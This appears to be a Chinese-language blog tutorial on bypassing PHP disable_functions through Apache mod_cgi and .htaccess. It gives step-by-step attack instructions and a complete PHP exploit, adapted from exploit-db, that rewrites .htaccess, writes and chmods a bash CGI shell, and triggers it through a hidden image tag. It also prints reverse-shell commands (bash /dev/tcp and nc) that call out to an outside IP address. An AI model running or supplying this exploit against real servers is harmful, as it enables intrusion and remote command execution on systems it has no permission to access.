利用Apache mod_cgi进行bypass disabled_function
CGI
公共网关接口,就是web服务器可以加载的外部程序规范,CGI脚本即使用遵从该规范编写的外部程序。
CGI编程没有特定的语言,C语言,python,linux shell,perl,vb等等都可以进行CGI编程.
使用linux shell脚本编写的cgi程序便可以执行系统命令.
MOD_CGI
任何具有MIME类型application/x-httpd-cgi或者被cgi-script处理器处理的文件都将被作为CGI脚本对待并由服务器运行,它的输出将被返回给客户端。可以通过三种途径使文件成为CGI脚本,一种是文件具有已由AddType指令定义的扩展名,一种是文件位于ScriptAlias目录中,最后一种是在目录放入.htaccess
文件,规定将某个后缀的文件按cgi脚本解析。
apache在配置cgi后可以用ScriptAlias指令指定一个目录,指定的目录下面便存放可执行的cgi程序.若是想要增加文件夹也可执行cgi程序,则可在apache主配置文件中做如下设置
<Directory PATH>
Options +ExecCGI
</Directory>
例如
<Directory /var/www/html/>
Options +ExecCGI #这便是在“/var/www/html/”这个路径下允许cgi程序执行
</Directory>
当然,若是想临时允许一个目录可以执行cgi程序并且使得服务器将自定义的后缀解析为cgi程序,则可以在目的目录下使用htaccess文件进行配置,如下:
.cnm后缀. 这个玩意儿纯属自定义,只要不与其他文件类型的后缀冲突即可
Options +ExecCGI
AddHandler cgi-script .cnm
攻击原理和方式
步骤:
1.在Apache允许允许使用.htaccess
的目录 放入.htaccess
文件,用于把你上传的某个文件解析成cgi脚本。如果Apache本来就允许某个目录执行cgi脚本,则可以省略这一步骤。
Options +ExecCGI
AddHandler cgi-script .cnm //把.cnm后缀的文件按cgi脚本解析
2.上传你的cgi脚本
例如
#!/bin/bash
echo -ne "Content-Type: text/html\n\n" //如果要进行反弹shell才需要这条命令,否则会500
//使用其它命令则可以直接执行,不需要上面这条语句
bash -i >& /dev/tcp/121.4.101.246/9999 0>&1 //反弹shell或者任意www-data用户可以执行的命令都可以
3.上传一个php或者html文件引用执行这个cgi脚本
例如
<?php
chmod("cgi.cnm",0777); //记住必须要为cgi脚本赋予执行权限
echo "<img src = 'shell.cnm' style = 'display:none;'>";
?>
4.访问该php页面,使得cgi脚本执行(直接访问cgi脚本没用,因为还没给它添加执行权限)。
exploitdb上有一个很好用的poc,我进行了一些个人修改
mod_cgi.php
<?php
// $cmd = "nc -c '/bin/bash' 121.4.101.xxx 9999"; //command to be executed
$cmd = "bash -i >& /dev/tcp/121.4.101.xxx/9999 0>&1"; //command to be executed 有时候环境中有可能没有nc命令,可以多试试其它的命令
$shellfile = "#!/bin/bash\n"; //using a shellscript
$shellfile .= "echo -ne \"Content-Type: text/html\\n\\n\"\n"; //header is needed, otherwise a 500 error is thrown when there is output
//如果直接执行命令则不需要这第二行,但反弹shell需要,否则会500
$shellfile .= "$cmd"; //executing $cmd
function checkEnabled($text,$condition,$yes,$no) //this surely can be shorter
{
echo "$text: " . ($condition ? $yes : $no) . "<br>\n";
}
if (!isset($_GET['checked']))
{
@file_put_contents('.htaccess', "\nSetEnv HTACCESS on", FILE_APPEND); //Append it to a .htaccess file to see whether .htaccess is allowed
header('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); //execute the script again to see if the htaccess test worked
}
else
{
$modcgi = in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled?
$writable = is_writable('.'); //current dir writable?
$htaccess = !empty($_SERVER['HTACCESS']); //htaccess enabled?
checkEnabled("Mod-Cgi enabled",$modcgi,"Yes","No");
checkEnabled("Is writable",$writable,"Yes","No");
checkEnabled("htaccess working",$htaccess,"Yes","No");
if(!($modcgi && $writable && $htaccess))
{
echo "Error. All of the above must be true for the script to work!"; //abort if not
}
else
{
checkEnabled("Backing up .htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded! Saved in .htaccess.bak","Failed!"); //make a backup, cause you never know.
checkEnabled("Write .htaccess file",file_put_contents('.htaccess',"Options +ExecCGI\nAddHandler cgi-script .cnm"),"Succeeded!","Failed!"); //.dizzle is a nice extension
checkEnabled("Write shell file",file_put_contents('shell.cnm',$shellfile),"Succeeded!","Failed!"); //write the file
checkEnabled("Chmod 777",chmod("shell.cnm",0777),"Succeeded!","Failed!"); //rwx
echo "Executing the script now. Check your listener <img src = 'shell.cnm' style = 'display:none;'>"; //call the script
}
}
?>